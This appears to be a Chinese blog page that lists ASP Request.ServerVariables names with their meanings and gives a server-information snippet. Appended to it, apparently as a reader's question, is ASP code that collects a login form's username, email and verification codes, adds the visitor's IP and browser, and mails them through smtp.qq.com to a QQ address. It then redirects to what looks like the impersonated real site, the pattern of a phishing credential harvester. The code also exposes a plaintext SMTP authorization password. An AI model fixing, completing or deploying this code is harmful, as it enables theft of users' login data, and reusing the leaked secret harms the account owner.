Request.ServerVariables[] 学习

本文详细介绍了ASP中Request.ServerVariables方法可以获取的各种服务器变量及其含义,包括服务器地址、客户端路径信息、脚本名称、查询字符串等内容。

Request.ServerVariables("Url") 
返回服务器地址
Request.ServerVariables("Path_Info") 
客户端提供的路径信息
Request.ServerVariables("Appl_Physical_Path") 
与应用程序元数据库路径相应的物理路径
Request.ServerVariables("Path_Translated") 
通过由虚拟至物理的映射后得到的路径
Request.ServerVariables("Script_Name") 
执行脚本的名称
Request.ServerVariables("Query_String") 
查询字符串內容
Request.ServerVariables("Http_Referer") 
请求的字符串內容
Request.ServerVariables("Server_Port") 
接受请求的服务器端口号
Request.ServerVariables("Remote_Addr") 
发出请求的远程主机的IP地址
Request.ServerVariables("Remote_Host") 
发出请求的远程主机名称
Request.ServerVariables("Local_Addr") 
返回接受请求的服务器地址
Request.ServerVariables("Http_Host") 
返回服务器地址
Request.ServerVariables("Server_Name") 
服务器的主机名、DNS地址或IP地址
Request.ServerVariables("Request_Method") 
提出请求的方法比如GET、HEAD、POST等等
Request.ServerVariables("Server_Port_Secure")
如果接受请求的服务器端口为安全端口时,则为1,否则为0
Request.ServerVariables("Server_Protocol")
服务器使用的协议的名称和版本
Request.ServerVariables("Server_Software")
应答请求并运行网关的服务器软件的名称和版本
Request.ServerVariables("All_Http")
客户端发送的所有HTTP标头,前缀HTTP_
Request.ServerVariables("All_Raw")
客户端发送的所有HTTP标头,其结果和客户端发送时一样,没有前缀HTTP_
Request.ServerVariables("Appl_MD_Path")
应用程序的元数据库路径
Request.ServerVariables("Content_Length")
客户端发出內容的长度
Request.ServerVariables("Https")
如果请求穿过安全通道(SSL),则返回ON如果请求来自非安全通道,则返回OFF
Request.ServerVariables("Instance_ID")
IIS实例的ID号
Request.ServerVariables("Instance_Meta_Path")
响应请求的IIS实例的元数据库路径
Request.ServerVariables("Http_Accept_Encoding")
返回內容如:gzip,deflate
Request.ServerVariables("Http_Accept_Language")
返回內容如:en-us
Request.ServerVariables("Http_Connection")
返回內容:Keep-Alive
Request.ServerVariables("Http_Cookie")
返回內容如:nVisiT%
2DYum=125;ASPSESSIONIDCARTQTRA=FDOBFFABJGOECBBKHKGPFIJI;ASPSESSIONIDCAQQTSRB=LKJJPLABABILLPCOGJGAMKAM;ASPSESSIONIDACRRSSRA=DK
HHHFBBJOJCCONPPHLKGHPB
Request.ServerVariables("Http_User_Agent")
返回內容:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1)
Request.ServerVariables("Https_Keysize")
安全套接字层连接关键字的位数,如128
Request.ServerVariables("Https_Secretkeysize")
服务器验证私人关键字的位数如1024
Request.ServerVariables("Https_Server_Issuer")
服务器证书的发行者字段
Request.ServerVariables("Https_Server_Subject")
服务器证书的主题字段
Request.ServerVariables("Auth_Password")
当使用基本验证模式时,客户在密码对话框中输入的密码
Request.ServerVariables("Auth_Type")
是用户访问受保护的脚本时,服务器用於检验用户的验证方法
Request.ServerVariables("Auth_User")
代证的用户名
Request.ServerVariables("Cert_Cookie")
唯一的客户证书ID号
Request.ServerVariables("Cert_Flag")
客户证书标誌,如有客户端证书,则bit0为0如果客户端证书验证无效,bit1被设置为1
Request.ServerVariables("Cert_Issuer")
用户证书中的发行者字段
Request.ServerVariables("Cert_Keysize")
安全套接字层连接关键字的位数,如128
Request.ServerVariables("Cert_Secretkeysize")
服务器验证私人关键字的位数如1024
Request.ServerVariables("Cert_Serialnumber")
客户证书的序列号字段
Request.ServerVariables("Cert_Server_Issuer")
服务器证书的发行者字段
Request.ServerVariables("Cert_Server_Subject")
服务器证书的主题字段
Request.ServerVariables("Cert_Subject")
客户端证书的主题字段
Request.ServerVariables("Content_Type")
客户发送的form內容或HTTPPUT的数据类型
Request.ServerVariables("HTTP_X_FORWARDED_FOR") 
可以获得位于代理(网关)后面的直接IP,当然必须这个代理支持
一些被隐藏起来的Request.ServerVariables参数:
Request.ServerVariables("NUMBER_OF_PROCESSORS")
Request.ServerVariables("OS")
Request.ServerVariables("WINDIR")
Request.ServerVariables("TEMP")
Request.ServerVariables("TMP")
Request.ServerVariables("ComSpec")
Request.ServerVariables("Os2LibPath")
Request.ServerVariables("Path")
Request.ServerVariables("PATHEXT")
Request.ServerVariables("PROCESSOR_ARCHITECTURE")
Request.ServerVariables("PROCESSOR_IDENTIFIER")
Request.ServerVariables("PROCESSOR_LEVEL")
Request.ServerVariables("PROCESSOR_REVISION")
本机ip:<%=request.servervariables("remote_addr")%>
服务器名:<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP:<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端口:<%=Request.ServerVariables("SERVER_PORT")%>
服务器时间:<%=now%>
IIS版本:<%=Request.ServerVariables("SERVER_SOFTWARE")%>
脚本超时时间:<%=Server.ScriptTimeout%>
本文件路径:<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量:<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引擎:<%=ScriptEngine & "/"& ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>
服务器操作系统:<%=Request.ServerVariables("OS")%>
支持的文件类型:<%=Request.ServerVariables("HTTP_Accept")%>
访问的文件路径:<%=Request.ServerVariables("HTTP_url")%>
用户代理的信息:<%=Request.ServerVariables("HTTP_USER_AGENT")%>

<% ' 【重要声明】此代码仅用于合法开发学习,严禁用于任何非法数据收集! Option Explicit ' 安全获取表单数据函数(统一转字符串) Function SafeGetForm(fieldName) Dim value value = Request.Form(fieldName) SafeGetForm = IIf(IsNull(value), "", CStr(value)) End Function ' 声明变量(仅声明一次) Dim username, email, password, code, loginType, emailCode, codeValue, emailCodeValue Dim mailSubject, mailBody, mail, smtpServer, fromEmail, toEmail ' 获取并处理表单数据 username = SafeGetForm("username") email = SafeGetForm("email") password = "***" ' 处理验证码 codeValue = SafeGetForm("Code") emailCodeValue = SafeGetForm("EmailCode") emailCodeValue = Trim(emailCodeValue) ' 去除首尾空格 ' 拼接验证码(增强类型安全) code = codeValue & IIf(emailCodeValue <> "", " / " & emailCodeValue, "") loginType = IIf(username <> "", "用户名登录", "邮箱登录") ' 构建邮件内容 mailSubject = "管理平台登录数据通知(测试)" mailBody = "===== 登录数据(测试) =====<br><br>" mailBody = mailBody & "登录方式: " & loginType & "<br>" mailBody = mailBody & "用户名: " & IIf(username = "", "未提供", Server.HTMLEncode(username)) & "<br>" mailBody = mailBody & "邮箱: " & IIf(email = "", "未提供", Server.HTMLEncode(email)) & "<br>" mailBody = mailBody & "验证码: " & IIf(code = "", "未提供", code) & "<br><br>" mailBody = mailBody & "===== 环境信息(仅用于调试) =====<br>" mailBody = mailBody & "IP地址: " & Request.ServerVariables("REMOTE_ADDR") & "<br>" mailBody = mailBody & "浏览器: " & Request.ServerVariables("HTTP_USER_AGENT") & "<br>" mailBody = mailBody & "提交时间: " & Now() & "<br>" ' CDO组件核心代码 Set mail = CreateObject("CDO.Message") smtpServer = "smtp.qq.com" fromEmail = "1830970536@qq.com" toEmail = "1830970536@qq.com" With mail.Configuration.Fields .Item("sendusing") = 2 .Item("smtpserver") = smtpServer .Item("smtpserverport") = 465 .Item("smtpauthenticate") = 1 .Item("sendusername") = fromEmail .Item("sendpassword") = "kefbjonvqphfchbd" .Item("smtpusessl") = True .Update End With mail.From = fromEmail mail.To = toEmail mail.Subject = mailSubject mail.HTMLBody = mailBody mail.Send Set mail = Nothing Response.Redirect "https://nuccj.sccchina.net/.asp" %>运行后出现Microsoft VBScript 运行时错误 错误 '800a01f4' 变量未定义: 'IIf' /第二章/nuccj.sccchina.net/process.asp,行 9该怎么修改代码
最新发布
06-16
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值